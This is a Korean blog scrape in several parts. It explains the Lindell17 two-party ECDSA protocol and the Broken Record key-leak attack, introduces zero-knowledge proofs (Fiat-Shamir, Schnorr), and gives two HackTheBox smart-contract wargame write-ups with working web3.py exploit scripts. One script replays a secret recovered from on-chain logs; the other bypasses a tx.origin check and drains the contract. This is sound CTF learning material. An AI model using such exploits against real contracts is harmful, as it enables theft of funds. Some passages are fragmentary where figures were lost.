ciphertext $C∈Z_{N^2}^* $, $µ = σ^{-1} \ (mod \ N)$
$$
Dec_σ(C) = (\frac{C^σ \ (mod \ N^2) -1}{N})µ \ (mod \ N)$$
$$= (\frac{(1 + N)^{mσ} \ (mod \ N^2) - 1}{N})µ \ (mod \ N) \ \ \ (\because ρ^{Nσ} = 1 \ (mod \ N^2))$$
$$= (\frac{1 + mσN - 1}{N})µ \ (mod \ N)$$
$$= (mσ)µ \ (mod \ N)$$
$$=m \ (mod \ N)$$


Lindell17 protocol

KeyGen

Alice와 Bob이 group-generator-order tuple $(G, g, q)$을 생성하고 $x_A, x_B ∈Z_q$에 대하여 다음과 같이 key를 생성한다.
$$ (N, σ) \leftarrow PailKeys \ \ and \ \ X=g^{x_A + x_B}, C \leftarrow Enc_N(x_B) $$
*여기서 $G$는 타원곡선 점들의 집합, $g$는 타원곡선의 generator, $q$는 타원곡선의 order을 말하는 것으로 보인다.즉, $g^k$는 $k$와 generator을 곱한 점의 $x$좌표를 말한다.


public key : $X∈G$, $N∈Z$
Alice's private key : $x_A$
Bob's private key : $x_B, σ$


또한, $C$가 Alice에게 전달된다.

Protocol

*MulShare은 $k_A, k_B$를 주면 $R = g^{k_Ak_B}$를 주는 oracle이다.

*operation 4에 $k_2^{-1}Dec_σ(C)$가 아니라 $k_B^{-1}Dec_σ(D)$인 것 같다.


Operation 자체는 꽤 단순하다.
4 부분만 보자.
$$s = k_B^{-1}Dec_σ(D) \ (mod \ q)$$
$$ = k_B^{-1}Dec_σ(Enc_N(k_A^{-1}(m+rx_A) \ (mod \ q))Enc_N(x_Brk_A^{-1} \ (mod \ q))) \ (mod q)$$
$$ = k_B^{-1}Dec_σ(Enc_N(k_A^{-1}(m+rx_A )+ x_Brk_A^{-1} \ (mod \ q)) \ (mod q) $$
$$(\because paillier \ encryption \ is \ additively \ homomorphic)$$
$$ = k_B^{-1}k_A^{-1}(m + r(x_A + x_B)) \ (mod \ q)$$

위 과정으로 인해 Bob은 Alice로부터 $D$를 받아 valid signature인 $s$를 계산할 수 있다.

결론적으로 Alice와 Bob은 message $m$에 대한 서명 $r, s$를 protocol을 통해 생성할 수 있다.

Broken Record Attack

Bob은 $x_B - y_B \ (mod \ 2^l) = 0$ 인 경우에만 signature을 올바르게 생성할 수 있다. 따라서 Alice(attacker)는 $l$을 1씩 늘려가며 Bob의 response에 따라 $x_B$의 lsb를 하나씩 leak할 수 있다.

Proof

Alice가 $k_A = 2^l$로 고른다면 $s = (2^lk_B)^{-1}(m+r(x_A+x_B)) \ (mod \ q)$ 가 된다.
$\zeta = 2^{-l}(m+rx_A) \ (mod \ q), \zeta' = y_Br'2^{-l} \ (mod \ q)$라 하면

)

위와 같은 과정을 통해 증명이 된다.




혹여나 Broken record attack 관련 wargame을 풀고 싶다면 DownUnderCTF2024에 출제된 super party computation을 풀어보길 바란다. CVE-2023-33242기반의 문제이며 이 문제의 Mulshare oracle에서 $x_A+x_B$가 아닌 $x_Ax_B$로 계산하지만 공격 자체는 완벽히 동일하게 통한다.

이 글에서는 interactive ZKP와 non-interactive ZKP가 무엇인지와 그 예시에 대하여 알아본다.


Interactive proof system이란 prover와 verifier 사이의 정보를 교환하는 computation을 모델링한 이론적인 컴퓨팅 모델이다. Interactive proof에서는 prover가 infinite computing power을, verifier은 제한된 computing power을 가지고 있으므로 주로 prover가 dishonest한 경우를 가정하고 공격 시나리오를 생각한다.

하지만 verifier가 dishonest한 경우를 고려하기 시작하면서 ZKP가 등장하였다.

 

Property of ZKP

ZKP는 항상 다음과 같은 조건을 모두 만족시켜야 한다.

  • Completeness : honest prover가 secret을 알고 있다면 honest verifier은 이를 납득할 수 있다.
  • Soundness : honest verifier가 납득한다면 prover은 secret을 알고 있는 것이다. 즉, prover가 secret을 모른다면 verifier을 납득시킬 수 없다.
  • Zero-knowledgeness : dishonest verifier는 secret에 대한 그 어느 정보도 알 수 없다.

 

Fiat-Shamir protocol

Interactive ZKP의 대표적인 예시인 Fiat-Shamir protocol을 알아보자.


Goal
$v$와 큰 소수 2개의 곱으로 이루어진 $n$에 대하여 $v = s^2 \ (mod \ n)$을 만족하는 $s$가 존재함을 prover가 verifier에게 납득시키려 한다.


setup
private input는 prover만 알고 있고, public input는 prover와 verifier 모두가 알고 있는 정보이다.

  • private input : $s$
  • public input : $n$, 그리고 $v = s^2 \ (mod \ n)$를 만족하는 $v$

  1. Commitment : Prover은 random한 수 $r$을 골라 verifier에게 $r$에 대한 commitment $x$를 전달한다.
  2. Challenge : Verifier은 prover에게 0 또는 1을 challenge값으로 전달한다.
  3. Response : Prover은 verifier에게 $y$를 전달한다.
  4. Verification : Verifier은 $y^2 = xv^e \ (mod \ n)$을 만족하는지 확인한다.

위의 과정을 여러 번 반복하면 malicious prover가 verification을 모두 통과할 가능성이 적어진다.

  • Completeness
    $e=0 \rightarrow y = r, y^2 = r^2 = x = xv^0 \ (mod \ n)$
    $e=1 \rightarrow y = rs \ (mod \ n), y^2 = r^2s^2 = xv^1 \ (mod \ n)$
  • Soundness
    $e=1 \rightarrow$ $x = \frac{r^2}{v}$로 Commitment에서 보냄
    $y=r$로 response하면 verification통과, 즉, 50%확률로 verifier의 $e$를 예상하여 통과 가능
    여러 번 반복하므로 soundness도 만족
  • Zero-knowledgeness
    원래는 simulator을 생성하여 얻을 수 있는 정보와 실제를 비교하여 같음을 증명해야 하지만 brief하게 설명하자면 verifier은 $s$에 대한 어느 정보도 얻지 못하므로 만족



Interactive ZKP의 경우, prover와 verifier가 항상 on-line상태여야 하고 연산을 반복해야 하므로 비효율적이라는 단점이 있다. 그래서 나온게 non-interactive ZKP이다.

Schnorr identification protocol

Non-interactive ZKP의 예시인 Schnorr identification protocol을 알아보자.


Non-interactive는 prover와 verifier의 정보 교환이 최소화되는 것이 핵심이다. prover은 verifier에게 증명에 필요한 정보를 주기만 하고 받지는 않는다.


Goal
소수 $p$에 대하여 $h = g^x \ (mod \ p)$를 만족하는 $x$를 알고 있음을 prover가 verifier에게 납득시키려 한다.


setup

  • private input : $x$
  • public input : $p$, $g$, $h$, 그리고 $q \ | \ p-1$, $g^q=1 \ (mod \ p)$를 만족하는 $q$

  • Completeness
    $g^z = g^{r+xc} = uh^c \ (mod \ p)$
  • Soundness
    $u$가 확정되면 $c$도 확정되므로 그에 맞는 $z$를 찾기 위해서는 dlp를 풀어야한다. 따라서 $x$를 모르면서 $g^z=uh^c \ (mod \ p)$를 만족하는 $(u,c,z)$를 찾을 확률은 negligible하다.
  • Zero-knowledgeness
    verifier은 $x$에 대한 어느 정보도 얻지 못하므로 만족



Non-interactive ZKP에서 succinctness(간결함), 즉, proof size를 줄이고 빠르게 verify를 할 수 있도록 하여 실용성을 극대화시킨 것이 zk-SNARKs라고 한다. 이는 차차 공부해보자.

Rivals.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Rivals {
    event Voice(uint256 indexed severity);

    bytes32 private encryptedFlag;
    bytes32 private hashedFlag;
    address public solver;

    constructor(bytes32 _encrypted, bytes32 _hashed) {
        encryptedFlag = _encrypted;
        hashedFlag = _hashed;
    }

    function talk(bytes32 _key) external {
        bytes32 _flag = _key ^ encryptedFlag;
        if (keccak256(abi.encode(_flag)) == hashedFlag) {
            solver = msg.sender;
            emit Voice(5);
        } else {
            emit Voice(block.timestamp % 5);
        }
    }
}

 

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Rivals} from "./Rivals.sol";

contract Setup {
    Rivals public immutable TARGET;

    constructor(bytes32 _encryptedFlag, bytes32 _hashed) payable {
        TARGET = new Rivals(_encryptedFlag, _hashed);
    }

    function isSolved(address _player) public view returns (bool) {
        return TARGET.solver() == _player;
    }
}

 

solver를 msg.sender로 만들어야 한다. talk함수에서 if문의 조건을 만족시키면 Voice(5)가, 그렇지 못하면 Voice(block.timestamp%5)가 수행된다.

 

유일하게 public변수인 solver을 출력해보면 초기값인 0이 아니라 다른 주소이다. 즉, 이미 talk함수를 호출하여 if문의 조건을 충족시켜 solver가 특정 주소로 변한 것이다. 여기서 중요한 점은 talk함수를 호출하면 무조건 event가 발생하며, if문의 조건을 충족시킨 경우에만 이벤트의 인자가 5가 된다는 것이다. 따라서 event log에서 이를 찾아서 input, 즉, key를 leak할 수 있다.

 

ex.py

from web3 import Web3
import requests
import json

url = "http://94.237.54.214:59399"

info = json.loads(requests.get(url + "/connection_info").content)

privkey = info["PrivateKey"]
target_addr = info["TargetAddress"]
pub_address = info["Address"]

w3 = Web3(Web3.HTTPProvider(url + '/rpc'))

def string_to_bytes32(text):
    return Web3.to_bytes(text=text).ljust(32, b'\0')

contract = w3.eth.contract(address=target_addr, abi = open("abi.json", "r").read())

logs = contract.events.Voice().get_logs(fromBlock=0)

for log in logs:
    tx_receipt = w3.eth.wait_for_transaction_receipt(log['transactionHash'].hex())
    if tx_receipt['logs'][0]['topics'][1] == b'\x00'*31 + b'\x05':
        print("find!!!")
        tx_hash = log['transactionHash'].hex()
        break

key = w3.eth.get_transaction(tx_hash)['input'].hex()
key = bytes.fromhex(key[2:])[4:] # key is including function selector which is 4 bytes

transaction = contract.functions.talk(key).build_transaction(
    {
        "chainId": w3.eth.chain_id,
        "gasPrice": w3.eth.gas_price,
        "from": pub_address,
        "nonce": w3.eth.get_transaction_count(pub_address),
        "value": 0 
    }
)

sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=privkey)
tx_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

print(requests.get(url + '/flag').content.decode())

'wargame' 카테고리의 다른 글

hackthebox - Distract and Destroy  (1) 2024.05.15

Creature.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 1000;
    }

    function attack(uint256 _damage) external {
        if (aggro == address(0)) {
            aggro = msg.sender;
        }

        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;
        } else {
            lifePoints -= 0;
        }
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }
}

 

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

 

tx.origin과 msg.sender가 달라야 한다. tx.origin은 EOA로 고정이므로 중간에 attack을 호출하는 Middle 컨트랙트를 배포하여 msg.sender가 Middle 컨트랙트의 주소가 되도록 하면 된다. 또한, aggro가 msg.sender와 달라야 하고 초기값인 0이면 msg.sender로 설정되므로 tx.origin에서 우선 attack함수를 호출하여 aggro를 tx.origin으로 설정해줘야 한다.

 

from web3 import Web3
import requests
import json
from solcx import *

url = "http://94.237.63.83:39628"
key = json.loads(requests.get(url + "/connection_info").content)

privkey = key["PrivateKey"]
target_addr = key["TargetAddress"]
pub_address = key["Address"]

w3 = Web3(Web3.HTTPProvider(url + "/rpc"))
assert w3.is_connected() == True

dir_contract = w3.eth.contract(address=target_addr, abi = open('creature.json','r').read())

# set aggro to tx.origin
dir_contract.functions.attack(1000).transact()

source_code = """
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Middle {
    constructor (address target, uint256 _damage) {
        (bool success, bytes memory result) = target.call(abi.encodeWithSignature("attack(uint256)", _damage));
        require(success, string(result));
    }
}
"""

compiled_sol = compile_source(source_code, output_values=["abi", "bin"])
_, contract_interface = compiled_sol.popitem()
bytecode = contract_interface["bin"]
abi2 = contract_interface["abi"]
contract2 = w3.eth.contract(abi=abi2, bytecode=bytecode)

transaction = contract2.constructor(target_addr, 1000).build_transaction(
    {
        "chainId": w3.eth.chain_id,
        "gasPrice": w3.eth.gas_price,
        "from": pub_address,
        "nonce": w3.eth.get_transaction_count(pub_address),
        "value": 0 
    }
)

sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=privkey)
tx_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(tx_receipt)

print(dir_contract.functions.lifePoints().call())
dir_contract.functions.loot().transact()
print(requests.get(url + '/flag').content)

'wargame' 카테고리의 다른 글

hackthebox - Honor Among Thieves  (1) 2024.05.15

+ Recent posts